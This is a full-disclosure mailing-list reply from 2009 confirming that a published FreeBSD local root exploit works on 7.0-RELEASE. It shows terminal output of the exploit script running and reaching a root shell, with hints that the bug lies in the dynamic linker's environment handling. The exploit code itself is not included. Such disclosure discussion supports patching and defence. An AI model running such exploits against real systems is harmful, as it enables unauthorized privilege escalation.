full-disclosure - Re: ** FreeBSD local r00t zeroday

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Date: Mon, 30 Nov 2009 21:45:38 -0800
From: bk <chort0@...il.com>
To: David Berard <contact@...idberard.fr>,
 full-disclosure@...ts.grok.org.uk
Subject: Re: ** FreeBSD local r00t zeroday

On Nov 30, 2009, at 9:25 PM, David Berard wrote:

>> 7.0 not vuln.
> 
> 7.0 vulnerable here,
> 
> $ ./env 
> /libexec/ld-elf.so.1: environment corrupt; missing value for 
> /libexec/ld-elf.so.1: environment corrupt; missing value for 
> /libexec/ld-elf.so.1: environment corrupt; missing value for 
> /libexec/ld-elf.so.1: environment corrupt; missing value for 
> /libexec/ld-elf.so.1: environment corrupt; missing value for 
> ALEX-ALEX
> # uname -r
> 7.0-RELEASE-p3

Here as well:

bin/Kingcope.sh: new file: 35 lines, 772 characters.
[chort@...on ~]$ chmod +x bin/Kingcope.sh 
[chort@...on ~]$ Kingcope.sh 
bin ktrace.out scratch vent_stalk FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in function 'execl'
/libexec/ld-elf.so.1: environment corrupt; missing value for 
/libexec/ld-elf.so.1: environment corrupt; missing value for 
/libexec/ld-elf.so.1: environment corrupt; missing value for 
/libexec/ld-elf.so.1: environment corrupt; missing value for 
/libexec/ld-elf.so.1: environment corrupt; missing value for 
ALEX-ALEX
# whoami
root
# uname -a
FreeBSD demon.smtps.net 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008     root@...an.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

It's a VM if that matters.

--
chort

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